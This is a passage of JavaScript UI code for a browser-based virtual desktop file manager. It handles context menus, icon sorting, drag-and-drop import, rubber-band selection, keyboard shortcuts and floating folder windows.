style=\"display:inline-block;width:12px;height:12px;border-radius:2px;background:${fc.color}\"></span>`,\n        action: async () => { node.color = fc.color === '#0078d4' ? undefined : fc.color; await saveVFS(); Desktop._patchIcons(); }\n      }))});\n    } else {\n      items.push({ label: 'Open',               icon: Icons.file,     action: () => this._openNode(node) });\n      items.push({ label: 'Edit as plain text', icon: Icons.rename, action: () => openFileAsText(node) });\n      items.push({ label: 'Export',             icon: Icons.download, action: () => downloadFile(node) });\n    }\n    items.push({ label: 'Export as ZIP', icon: Icons.download, action: () => exportAsZip([...this._sel]) });\n    items.push({ sep: true });\n    items.push({ label: 'Copy', icon: Icons.copy, action: () => { _sync(); copyItems(); } });\n    items.push({ label: 'Cut',  icon: Icons.cut,  action: () => { _sync(); cutItems(); } });\n    items.push({ sep: true });\n    items.push({ label: 'Rename', icon: Icons.rename, action: () => renameNode(node) });\n    items.push({ sep: true });\n    if (this._sel.size > 1) {\n      items.push({ label: `Delete ${this._sel.size} items`, icon: Icons.trash, danger: true, action: () => { _sync(); deleteSelected(); } });\n    } else {\n      items.push({ label: 'Delete', icon: Icons.trash, danger: true, action: () => { _sync(); deleteSelected(); } });\n    }\n    items.push({ sep: true });\n    items.push({ label: 'Properties', icon: Icons.info, action: () => showProps(node) });\n    showCtxMenu(e.clientX, e.clientY, items);\n  },\n\n  _contextDesktop(e) {\n    this._sel.clear();\n    document.querySelectorAll('#desktop-area > .file-item.selected').forEach(i => i.classList.remove('selected'));\n    this._updateSelectionBar();\n    const _sync = () => { App.folder = this._desktopFolder; App.selection = this._sel; App._winCtx = null; };\n    const items = [\n      { label: 'New Text File',  icon: Icons.newfile,   action: () => { _sync(); App._ctxScreenPos = { x: e.clientX, y: e.clientY }; newTextFile(); } },\n      { label: 'New Folder',     icon: Icons.newfolder, action: () => { _sync(); App._ctxScreenPos = { x: e.clientX, y: e.clientY }; newFolder(); } },\n      { sep: true },\n      { label: 'Import Files...', icon: Icons.upload, action: () => { _sync(); document.getElementById('file-input').click(); } },\n    ];\n    if (App.clipboard) {\n      items.push({ sep: true });\n      items.push({ label: 'Paste', icon: Icons.paste, action: () => { _sync(); pasteItems(); } });\n    }\n    const sortSub = [\n      { label: 'By Name', icon: Icons.sortName, submenu: [\n        { label: 'A → Z',  icon: Icons.sortAsc,  action: () => sortIcons('name',  'asc')  },\n        { label: 'Z → A',  icon: Icons.sortDesc, action: () => sortIcons('name',  'desc') },\n      ]},\n      { label: 'By Date Modified', icon: Icons.sortDate, submenu: [\n        { label: 'Newest first', icon: Icons.sortDesc, action: () => sortIcons('mtime', 'desc') },\n        { label: 'Oldest first', icon: Icons.sortAsc,  action: () => sortIcons('mtime', 'asc')  },\n      ]},\n      { label: 'By Date Created', icon: Icons.sortDate, submenu: [\n        { label: 'Newest first', icon: Icons.sortDesc, action: () => sortIcons('ctime', 'desc') },\n        { label: 'Oldest first', icon: Icons.sortAsc,  action: () => sortIcons('ctime', 'asc')  },\n      ]},\n      { sep: true },\n      { label: 'By Size', icon: Icons.sortSize, submenu: [\n        { label: 'Largest first',  icon: Icons.sortDesc, action: () => sortIcons('size',  'desc') },\n        { label: 'Smallest first', icon: Icons.sortAsc,  action: () => sortIcons('size',  'asc')  },\n      ]},\n      { sep: true },\n      { label: 'By Type', icon: Icons.sortType, action: () => sortIcons('type',  'asc')  },\n    ];\n    items.push({ sep: true });\n    items.push({ label: 'Sort', icon: Icons.sort, submenu: sortSub });\n    items.push({ sep: true });\n    items.push({ label: 'Refresh', icon: Icons.refresh, action: () => { Desktop._renderIcons(); if (typeof WinManager !== 'undefined') WinManager.renderAll(); } });\n    showCtxMenu(e.clientX, e.clientY, items);\n  },\n\n  _updateSelectionBar() {\n    const bar = document.getElementById('selection-bar');\n    if (this._sel.size > 0) {\n      const totalSz = [...this._sel].reduce((s, id) => {\n        const n = VFS.node(id); return s + (n && n.size ? n.size : 0);\n      }, 0);\n      bar.textContent = `${this._sel.size} item${this._sel.size !== 1 ? 's' : ''} selected${totalSz > 0 ? ' · ' + fmtSize(totalSz) : ''}`;\n      bar.classList.add('show');\n    } else {\n      bar.classList.remove('show');\n    }\n  },\n\n  updateTaskbar() {\n    if (!App.container) return;\n    const tot  = App.container.totalSize || 0;\n    const pct  = Math.min(tot / CONTAINER_LIMIT * 100, 100);\n    const cls  = pct > 90 ? 'danger' : pct > 70 ? 'warn' : '';\n    document.getElementById('taskbar-name').textContent      = App.container.name;\n    document.getElementById('taskbar-size-text').textContent = `${fmtSize(tot)} / ${fmtSize(CONTAINER_LIMIT)}`;\n    document.getElementById('taskbar-size-pct').textContent  = pct.toFixed(1) + '%';\n    const bar = document.getElementById('taskbar-bar-fill');\n    bar.style.width = pct + '%';\n    bar.className   = 'taskbar-bar-fill ' + cls;\n  },\n\n  initEvents() {\n    const area = document.getElementById('desktop-area');\n    // Mobile touch-drag for icons\n    this._initTouchDrag(area);\n\n    area.addEventListener('contextmenu', e => {\n      if (e.target === area || e.target.classList.contains('drop-overlay') ||\n          e.target.classList.contains('selection-bar')) {\n        e.preventDefault();\n        this._contextDesktop(e);\n      }\n    });\n\n    area.addEventListener('mousedown', e => {\n      if (e.target !== area) return;\n      if (!e.ctrlKey && !e.metaKey) {\n        this._sel.clear();\n        document.querySelectorAll('#desktop-area > .file-item.selected').forEach(i => i.classList.remove('selected'));\n        this._updateSelectionBar();\n      }\n      this._startRubberBand(e);\n    });\n\n    area.addEventListener('keydown', e => this._onKey(e));\n\n    let _deskDndHoverFolder = null;\n    area.addEventListener('dragover', e => {\n      e.preventDefault();\n      const overFW = !!e.target.closest('.folder-window');\n      if (!overFW) {\n        const folderEl = e.target?.closest?.('#desktop-area > .file-item[data-id]');\n        const newHover = folderEl && VFS.node(folderEl.dataset.id)?.type === 'folder' ? folderEl.dataset.id : null;\n        if (newHover !== _deskDndHoverFolder) {\n          if (_deskDndHoverFolder) document.querySelector(`#desktop-area > .file-item[data-id=\"${_deskDndHoverFolder}\"]`)?.classList.remove('drag-target');\n          _deskDndHoverFolder = newHover;\n          if (_deskDndHoverFolder) document.querySelector(`#desktop-area > .file-item[data-id=\"${_deskDndHoverFolder}\"]`)?.classList.add('drag-target');\n        }\n      }\n      document.getElementById('drop-overlay').classList.toggle('show', !overFW && !_deskDndHoverFolder);\n    });\n    area.addEventListener('dragleave', e => {\n      if (!area.contains(e.relatedTarget)) {\n        if (_deskDndHoverFolder) document.querySelector(`#desktop-area > .file-item[data-id=\"${_deskDndHoverFolder}\"]`)?.classList.remove('drag-target');\n        _deskDndHoverFolder = null;\n        document.getElementById('drop-overlay').classList.remove('show');\n      }\n    });\n    area.addEventListener('drop', e => {\n      e.preventDefault();\n      if (_deskDndHoverFolder) document.querySelector(`#desktop-area > .file-item[data-id=\"${_deskDndHoverFolder}\"]`)?.classList.remove('drag-target');\n      const targetFolderId = _deskDndHoverFolder || this._desktopFolder;\n      _deskDndHoverFolder = null;\n      document.getElementById('drop-overlay').classList.remove('show');\n      App._winCtx   = null;\n      App.folder    = targetFolderId;\n      App.selection = this._sel;\n      uploadEntries(e.dataTransfer.items, targetFolderId);\n    });\n\n    /* ---- Touch: long-press context menu on desktop area ---- */\n    let _lpTimer = null, _lpMoved = false;\n    area.addEventListener('touchstart', e => {\n      _lpMoved = false;\n      const t = e.touches[0];\n      _lpTimer = setTimeout(() => {\n        if (_lpMoved) return;\n        const target = document.elementFromPoint(t.clientX, t.clientY);\n        const iconEl = target?.closest('#desktop-area > .file-item[data-id]');\n        if (!iconEl) {\n          this._contextDesktop({ clientX: t.clientX, clientY: t.clientY, preventDefault(){}, stopPropagation(){} });\n        }\n      }, 500);\n    }, { passive: true });\n    area.addEventListener('touchmove', () => { _lpMoved = true; if (_lpTimer) { clearTimeout(_lpTimer); _lpTimer = null; } }, { passive: true });\n    area.addEventListener('touchend', () => { if (_lpTimer) { clearTimeout(_lpTimer); _lpTimer = null; } }, { passive: true });\n\n    // Global: dismiss context menu on any LMB click outside the menu\n    document.addEventListener('mousedown', e => {\n      if (e.button !== 0) return;\n      if (e.target.closest('#ctx-menu, #ctx-menu-sub, body > .ctx-menu')) return;\n      hideCtxMenu();\n    });\n  },\n\n  _startRubberBand(e) {\n    const area = document.getElementById('desktop-area');\n    const rect = area.getBoundingClientRect();\n    const sx   = e.clientX - rect.left + area.scrollLeft;\n    const sy   = e.clientY - rect.top  + area.scrollTop;\n    const band = document.createElement('div');\n    band.className = 'rubberband';\n    band.style.cssText = `left:${sx}px;top:${sy}px;width:0;height:0`;\n    area.appendChild(band);\n\n    const onMove = mv => {\n      const cx = mv.clientX - rect.left + area.scrollLeft;\n      const cy = mv.clientY - rect.top  + area.scrollTop;\n      const x  = Math.min(sx, cx), y = Math.min(sy, cy);\n      const w  = Math.abs(cx - sx), h = Math.abs(cy - sy);\n      band.style.cssText = `left:${x}px;top:${y}px;width:${w}px;height:${h}px`;\n      const bx1 = x, by1 = y, bx2 = x + w, by2 = y + h;\n      document.querySelectorAll('#desktop-area > .file-item').forEach(item => {\n        const ix = parseInt(item.style.left), iy = parseInt(item.style.top);\n        const hit = ix < bx2 && (ix + ICON_W) > bx1 && iy < by2 && (iy + ICON_H) > by1;\n        if (hit) { this._sel.add(item.dataset.id); item.classList.add('selected'); }\n        else if (!e.ctrlKey && !e.metaKey) { this._sel.delete(item.dataset.id); item.classList.remove('selected'); }\n      });\n      this._updateSelectionBar();\n    };\n    const onUp = () => { band.remove(); document.removeEventListener('mousemove', onMove); document.removeEventListener('mouseup', onUp); };\n    document.addEventListener('mousemove', onMove);\n    document.addEventListener('mouseup',   onUp);\n  },\n\n  _onKey(e) {\n    const _syncCtx = () => { App.folder = this._desktopFolder; App.selection = this._sel; App._winCtx = null; };\n    if (e.key === 'Delete' || e.key === 'Backspace') {\n      if (this._sel.size > 0) { _syncCtx(); deleteSelected(); }\n    } else if ((e.ctrlKey || e.metaKey) && e.code === 'KeyC') {\n      if (this._sel.size > 0) { _syncCtx(); copyItems(); }\n    } else if ((e.ctrlKey || e.metaKey) && e.code === 'KeyX') {\n      if (this._sel.size > 0) { _syncCtx(); cutItems(); }\n    } else if ((e.ctrlKey || e.metaKey) && e.code === 'KeyV') {\n      _syncCtx(); pasteItems();\n    } else if ((e.ctrlKey || e.metaKey) && e.code === 'KeyA') {\n      _syncCtx(); selectAll();\n    } else if (e.key === 'Escape') {\n      if (App.clipboard?.op === 'cut') cancelClipboard();\n      this._sel.clear();\n      document.querySelectorAll('#desktop-area > .file-item.selected').forEach(i => i.classList.remove('selected'));\n      this._updateSelectionBar();\n    } else if (e.key === 'F2') {\n      if (this._sel.size === 1) renameNode(VFS.node([...this._sel][0]));\n    } else if (e.key === 'F5') {\n      e.preventDefault();\n      Desktop._renderIcons();\n      if (typeof WinManager !== 'undefined') WinManager.renderAll();\n    }\n  }\n};\n\n/* ============================================================\n   FOLDER WINDOW MANAGER\n   ============================================================ */\nconst WinManager = {\n  _wins: [],\n  _z:    300,\n\n  open(folderId) {\n    hideCtxMenu();\n    // Auto-cancel cut if the opened folder (or its ancestor) is in the clipboard\n    if (App.clipboard?.op === 'cut') {\n      const cutIds = new Set(App.clipboard.ids);\n      let cur = folderId;\n      while (cur && cur !== 'root') {\n        if (cutIds.has(cur)) { cancelClipboard(); break; }\n        cur = (VFS.node(cur) || {}).parentId;\n      }\n    }\n    // Bring existing window to front if already open\n    const existing = this._wins.find(w => w.folderId === folderId && !w._navStack.length);\n    if (existing) { existing.bringToFront(); return existing; }\n    const win = new FolderWindow(folderId);\n    this._wins.push(win);\n    return win;\n  },\n\n  close(win) {\n    this._wins = this._wins.filter(w => w !== win);\n    win.el.remove();\n  },\n\n  closeAll() {\n    this._wins.forEach(w => w.el.remove());\n    this._wins = [];\n  },\n\n  renderAll() {\n    this._wins.forEach(w => w.render());\n  },\n\n  nextZ() { return ++this._z; }\n};\n\n/* ============================================================\n   FOLDER WINDOW  (floating explorer)\n   ============================================================ */\nclass FolderWindow {\n  constructor(folderId) {\n    this.folderId  = folderId;\n    this.selection = new Set();\n    this._navStack = [];  // for back navigation (not used in default: navigate in window)\n    this.el        = null;\n    this._build();\n  }\n\n  /* ---- DOM BUILD ---- */\n  _build() {\n    const node   = VFS.node(this.folderId);\n    const el     = document.createElement('div');\n    el.className = 'folder-window';\n    el.style.zIndex = WinManager.nextZ();\n\n    // Cascade position\n    const area  = document.getElementById('desktop-area');\n    const count = WinManager._wins.length;\n    const defW  = 680, defH = 440;\n    const cx = Math.max(20, Math.min((area.clientWidth  - defW) / 2 + count * 28, area.clientWidth  - defW - 10));\n    const cy = Math.max(20, Math.min((area.clientHeight - defH) / 2 + count * 28, area.clientHeight - defH - 10));\n    el.style.left   = cx + 'px';\n    el.style.top    = cy + 'px';\n    el.style.width  = defW + 'px';\n    el.style.height = defH + 'px';\n\n    el.innerHTML = `\n      <div class=\"fw-titlebar\">\n        <div class=\"fw-drag-area\">\n          <span class=\"fw-folder-icon\">${getFolderSVG(node.color)}</span>\n          <span class=\"fw-title\">${escHtml(node.name)}</span>\n        </div>\n        <div class=\"fw-controls\">\n          <button class=\"fw-btn fw-btn-navup\" title=\"Go up\">\n            <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n              <path d=\"M7 11V3M3 7l4-4 4 4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/>\n            </svg>\n          </button>\n          <button class=\"fw-btn fw-btn-close close\" title=\"Close\">\n            <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\">\n              <path d=\"M2 2l8 8M10 2L2 10\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/>\n            </svg>\n          </button>\n        </div>\n      </div>\n      <div class=\"fw-toolbar\">\n        <button class=\"btn btn-ghost btn-sm fw-btn-upload\">\n          <svg width=\"13\" height=\"13\" viewBox=\"0 0 13 13\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n            <path d=\"M6.5 8V1M3 4.5l3.5-3.5 3.5 3.5M1 10h11v2H1z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/>\n          </svg>\n          Import\n        </button>\n        <button class=\"btn btn-ghost btn-sm fw-btn-newfile\">\n          <svg width=\"13\" height=\"13\" viewBox=\"0 0 13 13\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n            <path d=\"M2 1h6l3 3v8H2z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/>\n            <path d=\"M8 1v3h3\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/>\n            <path d=\"M6.5 6v3M5 7.5h3\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/>\n          </svg>\n          New File\n        </button>\n        <button class=\"btn btn-ghost btn-sm fw-btn-newfolder\">\n          <svg width=\"13\" height=\"13\" viewBox=\"0 0 13 13\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n            <path d=\"M1 3h4l1.5 2H12v7H1z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/>\n            <path d=\"M6.5 6.5v2.5M5.2 7.8h2.6\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/>\n          </svg>\n          New Folder\n        </button>\n        <div class=\"fw-breadcrumb\" id=\"fw-bc-${this.folderId}\"></div>\n      </div>\n      <div class=\"fw-area\" tabindex=\"0\">\n        <div class=\"fw-drop-overlay\">\n          <svg width=\"36\" height=\"36\" viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M24 8v24M12 20l12-12 12 12M8 36h32v4H8z\" stroke=\"currentColor\" stroke-width=\"2.5\" stroke-linecap=\"square\"/></svg>\n          Drop files to import\n        </div>\n      </div>\n      <div class=\"fw-statusbar\">\n        <span class=\"fw-status-text\">0 items</span>\n      </div>\n      <div class=\"fw-resize-handle\"></div>\n    `;\n\n    this.el = el;\n    area.appendChild(el);\n    this._bindEvents();\n    this.render();\n  }\n\n  /* ---- EVENTS ---- */\n  _bindEvents() {\n    const el = this.el;\n    el.addEventListener('mousedown', () => this.bringToFront(), true);\n\n    // Title bar drag (move window)\n    this._makeDraggable(el.querySelector('.fw-drag-area'));\n\n    // Buttons\n    el.querySelector('.fw-btn-close').addEventListener('click', e => {\n      e.stopPropagation(); WinManager.close(this);\n    });\n    el.querySelector('.fw-btn-navup').addEventListener('click', e => {\n      e.stopPropagation();\n      const n = VFS.node(this.folderId);\n      if (n && n.parentId && n.parentId !== 'root') { this.folderId = n.parentId; this.selection.clear(); this.render(); }\n    });\n    el.querySelector('.fw-btn-upload').addEventListener('click', e => {\n      e.stopPropagation();\n      this._setCtx();\n      document.getElementById('file-input').click();\n    });\n    el.querySelector('.fw-btn-newfile').addEventListener('click', e => {\n      e.stopPropagation(); App._ctxScreenPos = null; this._setCtx(); newTextFile();\n    });\n    el.querySelector('.fw-btn-newfolder').addEventListener('click', e => {\n      e.stopPropagation(); App._ctxScreenPos = null; this._setCtx(); newFolder();\n    });\n\n    // Content area events\n    const area = el.querySelector('.fw-area');\n    area.addEventListener('contextmenu', e => {\n      if (e.target === area) { e.preventDefault(); e.stopPropagation(); this._ctxDesktop(e); }\n    });\n    area.addEventListener('mousedown', e => {\n      if (e.target !== area) return;\n      hideCtxMenu();\n      area.focus();\n      if (!e.ctrlKey && !e.metaKey) {\n        this.selection.clear();\n        area.querySelectorAll('.file-item.selected').forEach(i => i.classList.remove('selected'));\n        this._updateStatus();\n      }\n      this._startRubberBand(e);\n    });\n    area.addEventListener('keydown', e => this._onKey(e));\n    const fwDropOv = area.querySelector('.fw-drop-overlay');\n    let _fwDndHoverFolder = null;\n    area.addEventListener('dragover', e => {\n      e.preventDefault();\n      const folderEl = e.target?.closest?.('.file-item[data-id]');\n      const newHover = folderEl && VFS.node(folderEl.dataset.id)?.type === 'folder' ? folderEl.dataset.id : null;\n      if (newHover !== _fwDndHoverFolder) {\n        if (_fwDndHoverFolder) area.querySelector(`.file-item[data-id=\"${_fwDndHoverFolder}\"]`)?.classList.remove('drag-target');\n        _fwDndHoverFolder = newHover;\n        if (_fwDndHoverFolder) area.querySelector(`.file-item[data-id=\"${_fwDndHoverFolder}\"]`)?.classList.add('drag-target');\n      }\n      if (fwDropOv) fwDropOv.classList.toggle('show', !_fwDndHoverFolder);\n    });\n    area.addEventListener('dragleave', e => {\n      if (!area.contains(e.relatedTarget)) {\n        if (_fwDndHoverFolder) area.querySelector(`.file-item[data-id=\"${_fwDndHoverFolder}\"]`)?.classList.remove('drag-target');\n        _fwDndHoverFolder = null;\n        if (fwDropOv) fwDropOv.classList.remove('show');\n      }\n    });\n    area.addEventListener('drop', e => {\n      e.preventDefault();\n      e.stopPropagation(); // prevent desktop from also receiving this drop\n      if (_fwDndHoverFolder) area.querySelector(`.file-item[data-id=\"${_fwDndHoverFolder}\"]`)?.classList.remove('drag-target');\n      const targetFolderId = _fwDndHoverFolder || this.folderId;\n      _fwDndHoverFolder = null;\n      if (fwDropOv) fwDropOv.classList.remove('show');\n      App._winCtx   = this;\n      App.folder    = targetFolderId;\n      App.selection = this.selection;\n      uploadEntries(e.dataTransfer.items, targetFolderId);\n    });\n\n    /* ---- Touch: long-press context menu in folder window ---- */\n    let _fwLpTimer = null, _fwLpMoved = false;\n    area.addEventListener('touchstart', e => {\n      _fwLpMoved = false;\n      const t = e.touches[0];\n      _fwLpTimer = setTimeout(() => {\n        if (_fwLpMoved) return;\n        const target = document.elementFromPoint(t.clientX, t.clientY);\n        const iconEl = target?.closest('.file-item[data-id]');\n        if (!iconEl) {\n          this._ctxDesktop({ clientX: t.clientX, clientY: t.clientY, preventDefault(){}, stopPropagation(){} });\n        }\n      }, 500);\n    }, { passive: true });\n    area.addEventListener('touchmove', () => { _fwLpMoved = true; if (_fwLpTimer) { clearTimeout(_fwLpTimer); _fwLpTimer = null; } }, { passive: true });\n    area.addEventListener('touchend', () => { if (_fwLpTimer) { clearTimeout(_fwLpTimer); _fwLpTimer = null; } }, { passive: true });\n\n    this._addResizeHandle();\n  }\n\n  /* ---- SET CONTEXT for modal-based and async ops ---- */\n  _setCtx() {\n    App._winCtx   = this;\n    App.folder    = this.folderId;\n    App.selection = this.selection;\n  }\n\n  /* ---- SET CONTEXT for sync ops (save+restore immediately) ---- */\n  _withCtxSync(fn) {\n    const pF = App.folder, pS = App.selection, pW = App._winCtx;\n    App.folder = this.folderId; App.selection = this.selection; App._winCtx = this;\n    try { fn(); } finally { App.folder = pF; App.selection = pS; App._winCtx = pW; }\n  }\n\n  /* ---- WINDOW DRAG ---- */\n  _makeDraggable(handle) {\n    handle.addEventListener('mousedown', e => {\n      if (e.button !== 0) return;\n      e.preventDefault();\n      const startMouseX = e.clientX, startMouseY = e.clientY;\n      const startLeft   = parseInt(this.el.style.left) || 0;\n      const startTop    = parseInt(this.el.style.top)  || 0;\n      const onMove = mv => {\n        const area = document.getElementById('desktop-area');\n        const maxL = area.clientWidth  - this.el.offsetWidth;\n        const maxT = area.clientHeight - this.el.offsetHeight;\n        this.el.style.left = Math.max(0, Math.min(maxL, startLeft + mv.clientX - startMouseX)) + 'px';\n        this.el.style.top  = Math.max(0, Math.min(maxT, startTop  + mv.clientY - startMouseY)) + 'px';\n      };\n      const onUp = () => { document.removeEventListener('mousemove', onMove); document.removeEventListener('mouseup', onUp); };\n      document.addEventListener('mousemove', onMove);\n      document.addEventListener('mouseup',   onUp);\n    });\n  }\n\n  bringToFront() { this.el.style.zIndex = WinManager.nextZ(); }\n\n  /* ---- RENDER ---- */\n  render() {\n    const node  = VFS.node(this.folderId);\n    if (!node) { WinManager.close(this); return; }\n\n    // Update title — full path\n    this.el.querySelector('.fw-title').textContent = VFS.fullPath(this.folderId);\n    // Update title bar folder icon (reflects current color)\n    const _folderIconEl = this.el.querySelector('.fw-folder-icon');\n    if (_folderIconEl) _folderIconEl.innerHTML = getFolderSVG(node.color);\n\n    // Update breadcrumb inside toolbar\n    const bcId = `fw-bc-${this.el.querySelector('.fw-breadcrumb').id.replace('fw-bc-', '')}`;\n    const bc   = this.el.querySelector('.fw-breadcrumb');\n    bc.innerHTML = '';\n    VFS.breadcrumb(this.folderId).forEach((n, i, arr) => {\n      if (i === 0) return; // skip root\n      const sp = document.createElement('span');\n      sp.className   = 'fw-bc-item' + (i === arr.length - 1 ? ' current' : '');\n      sp.textContent = n.name;\n      if (i < arr.length - 1) sp.addEventListener('click', () => { this.folderId = n.id; this.selection.clear(); this.render(); });\n      bc.appendChild(sp);\n      if (i < arr.length - 1) { const s = document.createElement('span'); s.className = 'fw-bc-sep'; s.textContent = ' › '; bc.appendChild(s); }\n    });\n\n    // Render icons — incremental when same folder to avoid flash, full rebuild on navigation\n    const area = this.el.querySelector('.fw-area');\n    const folderChanged = this._renderedFolderId !== this.folderId;\n    this._renderedFolderId = this.folderId;\n\n    const items = VFS.children(this.folderId);\n    items.sort((a, b) => {\n      if (a.type !== b.type) return a.type === 'folder' ? -1 : 1;\n      return a.name.localeCompare(b.name);\n    });\n\n    if (folderChanged) {\n      area.querySelectorAll('.file-item').forEach(e => e.remove());\n      items.forEach((n, idx) => {\n        let pos = VFS.getPos(this.folderId, n.id);\n        if (!pos) {\n          pos = VFS.autoPos(this.folderId, idx, area);\n          VFS.setPos(this.folderId, n.id, pos.x, pos.y);\n        }\n        area.appendChild(this._makeIcon(n, pos, idx));\n      });\n    } else {\n      const nodeMap = new Map(items.map(n => [n.id, n]));\n      // Animate out removed items, then add new ones\n      area.querySelectorAll('.file-item').forEach(el => {\n        if (!nodeMap.has(el.dataset.id)) {\n          el.style.transition = 'opacity .1s, transform .1s';\n          el.style.opacity = '0'; el.style.transform = 'scale(.85)';\n          setTimeout(() => el.remove(), 110);\n        }\n      });\n      items.forEach((n, idx) => {\n        let pos = VFS.getPos(this.folderId, n.id);\n        if (!pos) {\n          pos = VFS.autoPos(this.folderId, idx, area);\n          VFS.setPos(this.folderId, n.id, pos.x, pos.y);\n        }\n        const existing = area.querySelector(`.file-item[data-id=\"${n.id}\"]`);\n        if (existing) {\n          const nameEl = existing.querySelector('.file-name');\n          if (nameEl && nameEl.textContent !== n.name) nameEl.textContent = n.name;\n          if (n.type === 'folder') {\n            const thumbEl = existing.querySelector('.file-thumb.folder-icon');\n            if (thumbEl) thumbEl.innerHTML = getFolderSVG(n.color);\n          }\n        } else {\n          area.appendChild(this._makeIcon(n, pos, idx));\n        }\n      });\n    }\n\n    this._updateStatus();\n    if (typeof _applyCutStyles !== 'undefined') _applyCutStyles();\n    // Sync grid dots setting with this window\n    const s = _getSettings();\n    area.classList.toggle('no-grid-dots', !s.gridDots);\n  }\n\n  /* ---- MAKE ICON (for this window) ---- */\n  _makeIcon(node, pos, idx = 0) {\n    const div = _buildIconEl(node, pos);\n    if (this.selection.has(node.id)) div.classList.add('selected');\n    div.style.animation = `iconPop 0.12s ease ${Math.min(idx * 15, 200)}ms both`;\n\n    div.addEventListener('mousedown', e => this._onIconMousedown(e, div, node));\n    div.addEventListener('dblclick',  e => { e.stopPropagation(); this._openNode(node); });\n    div.addEventListener('contextmenu', e => { e.preventDefault(); e.stopPropagation(); this._ctxIcon(e, node); });\n    // Mobile: single tap → context menu, double tap → open\n    { let _ts = 0, _tm = false, _lastTap = 0;\n      div.addEventListener('touchstart', () => { _ts = Date.now(); _tm = false; }, { passive: true });\n      div.addEventListener('touchmove',  () => { _tm = true; }, { passive: true });\n      div.addEventListener('touchend', e => {\n        if (_tm || Date.now() - _ts > 350) return;\n        e.preventDefault();\n        const now = Date.now(), t = e.changedTouches[0];\n        if (now - _lastTap < 300) { _lastTap = 0; this._openNode(node); }\n        else { _lastTap = now; this._ctxIcon({ clientX: t.clientX, clientY: t.clientY, ctrlKey: false, metaKey: false, preventDefault(){}, stopPropagation(){} }, node); }\n      }); }\n    return div;\n  }\n\n  /* ---- ICON DRAG (within window + escape to desktop/other windows) ---- */\n  _onIconMousedown(e, el, node) {\n    if (e.button !== 0) return;\n    hideCtxMenu();\n    e.stopPropagation(); e.preventDefault();\n    _cancelHoverTooltip();\n\n    if (!e.ctrlKey && !e.metaKey && !this.selection.has(node.id)) {\n      this.selection.clear();\n      this.el.querySelectorAll('.fw-area > .file-item.selected').forEach(i => i.classList.remove('selected'));\n    }\n    this.selection.add(node.id);\n    el.classList.add('selected');\n    this._updateStatus();\n\n    const fwArea    = this.el.querySelector('.fw-area');\n    fwArea.focus();\n    const startX    = e.clientX, startY = e.clientY;\n    const startScrollX = fwArea.scrollLeft, startScrollY = fwArea.scrollTop;\n    // Remember click offset within the icon for ghost positioning\n    const elRect = el.getBoundingClientRect();\n    const clickOffX = e.clientX - elRect.left;\n    const clickOffY = e.clientY - elRect.top;\n    const startPosMap = {};\n    this.selection.forEach(id => {\n      const item = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n      if (item) startPosMap[id] = { x: parseInt(item.style.left), y: parseInt(item.style.top) };\n    });\n    // Build occupied map for snap preview (exclude dragged items)\n    const fwOccupiedAtStart = new Map();\n    VFS.children(this.folderId).forEach(n => {\n      if (this.selection.has(n.id)) return;\n      const p = VFS.getPos(this.folderId, n.id);\n      if (p) fwOccupiedAtStart.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n    });\n    let snapPreviewEls = [];\n    let deskSnapPreviewEls = []; // snap previews on desktop when dragging out of window\n    let winSnapPreviewEls = [];  // snap previews inside a target folder window\n    let moved = false, escaped = false, hoverFolder = null, hoverWin = null;\n    // Ghost clones placed in desktop-area when dragging outside fw\n    let ghostEls = [];\n\n    const fwRect = () => this.el.getBoundingClientRect();\n\n    const onMove = mv => {\n      const r = fwRect();\n      const fwAreaRect = fwArea.getBoundingClientRect();\n      const mainPos = startPosMap[node.id];\n      const targetMainX = mv.clientX - fwAreaRect.left + fwArea.scrollLeft - clickOffX;\n      const targetMainY = mv.clientY - fwAreaRect.top + fwArea.scrollTop - clickOffY;\n      const dx = targetMainX - mainPos.x;\n      const dy = targetMainY - mainPos.y;\n      if (!moved && Math.abs(mv.clientX - startX) + Math.abs(mv.clientY - startY) > 4) {\n        moved = true; _isDragging = true; _cancelHoverTooltip();\n      }\n      const outsideWindow = mv.clientX < r.left || mv.clientX > r.right ||\n                            mv.clientY < r.top  || mv.clientY > r.bottom;\n\n      // Re-enter source window: cancel escape, remove ghosts, restore originals\n      if (!outsideWindow && escaped) {\n        escaped = false;\n        ghostEls.forEach(g => g.remove());\n        ghostEls = [];\n        deskSnapPreviewEls.forEach(p => p.remove()); deskSnapPreviewEls = [];\n        this.selection.forEach(id => {\n          const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n          if (orig) orig.style.visibility = '';\n        });\n      }\n\n      if (outsideWindow && !escaped) {\n        // Escape from window: hide originals, create ghost clones in desktop-area\n        escaped = true;\n        this.selection.forEach(id => {\n          const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n          if (orig) orig.style.visibility = 'hidden';\n        });\n        const deskArea = document.getElementById('desktop-area');\n        const selIds = [...this.selection];\n        // First ghost = clicked item, positioned exactly under cursor\n        selIds.sort((a, b) => (a === node.id ? -1 : b === node.id ? 1 : 0));\n        selIds.forEach((id, i) => {\n          const n = VFS.node(id); if (!n) return;\n          const ghost = _buildIconEl(n, { x: 0, y: 0 });\n          ghost.classList.add('selected');\n          ghost.style.position  = 'absolute';\n          ghost.style.zIndex    = '7900';\n          ghost.style.opacity   = '0.7';\n          ghost.style.pointerEvents = 'none';\n          ghost.style.willChange = 'left, top';\n          ghost.dataset.ghostFor = id;\n          ghost.dataset.ghostIdx = 